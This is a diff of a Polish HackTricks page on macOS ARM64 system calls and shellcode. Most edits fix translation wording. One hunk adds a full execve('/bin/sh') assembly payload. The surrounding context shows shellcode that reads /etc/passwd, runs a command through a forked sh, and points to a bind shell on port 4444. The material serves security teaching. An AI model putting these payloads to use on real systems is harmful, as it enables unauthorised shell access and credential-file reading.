@ -351,11 +351,11 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
Czasami łatwiej jest sprawdzić **zdekompilowany** kod z **`libsystem_kernel.dylib`** **niż** sprawdzanie **kodu źródłowego**, ponieważ kod kilku wywołań systemowych (BSD i Mach) jest generowany za pomocą skryptów (sprawdź komentarze w kodzie źródłowym), podczas gdy w pliku dylib można znaleźć, co jest wywoływane.
{% endhint %}
### wywołania machdep
### Wywołania machdep
XNU obsługuje inny rodzaj wywołań zwanych zależnymi od maszyny. Liczba tych wywołań zależy od architektury, a ani wywołania, ani numery nie są gwarantowane, że pozostaną stałe.
XNU obsługuje inny rodzaj wywołań zwanych zależnymi od maszyny. Liczba tych wywołań zależy od architektury i ani wywołania, ani numery nie są gwarantowane, że pozostaną stałe.
### strona comm
### Strona comm
Jest to strona pamięci właściciela jądra, która jest odwzorowana w przestrzeni adresowej każdego procesu użytkownika. Ma to na celu przyspieszenie przejścia z trybu użytkownika do przestrzeni jądra szybciej niż przy użyciu wywołań systemowych do usług jądra, które są używane tak często, że to przejście byłoby bardzo nieefektywne.
@ -371,7 +371,7 @@ Parametry ([więcej informacji w dokumentacji](https://developer.apple.com/docum
* x1: op -> Selektor metody
* x2... -> Pozostałe argumenty wywołanej metody
Więc jeśli ustawisz punkt przerwania przed skokiem do tej funkcji, łatwo można znaleźć, co jest wywoływane w lldb z (w tym przykładzie obiekt wywołuje obiekt z `NSConcreteTask`, który uruchomi polecenie):
Więc jeśli ustawisz punkt przerwania przed skokiem do tej funkcji, łatwo można znaleźć, co jest wywoływane w lldb za pomocą (w tym przykładzie obiekt wywołuje obiekt z `NSConcreteTask`, który uruchomi polecenie):
```
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>
@ -405,7 +405,7 @@ for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ;
echo -n '\\x'$c
done
```
<details>
<szczegóły>
<summary>Kod C do przetestowania shellcode'u</summary>
```c
@ -453,6 +453,8 @@ sc();
return 0;
}
```
</details>
#### Powłoka
Pobrane z [**tutaj**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) i wyjaśnione.
@ -503,6 +505,24 @@ mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
```
{% endtab %}
{% tab title="z adr dla linuxa" %}
```armasm
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
```
#### Odczyt za pomocą polecenia cat
@ -532,7 +552,7 @@ cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
```
#### Wywołaj polecenie za pomocą sh z forka, aby główny proces nie został zabity
#### Wywołaj polecenie za pomocą sh z odgałęzienia, aby główny proces nie został zabity
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -576,7 +596,7 @@ sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
```
#### Powłoka powiązana
#### Powiązane powłoki
Powłoka powiązana z [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) na **porcie 4444**
```armasm
@ -739,6 +759,6 @@ Inne sposoby wsparcia HackTricks:
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
</details>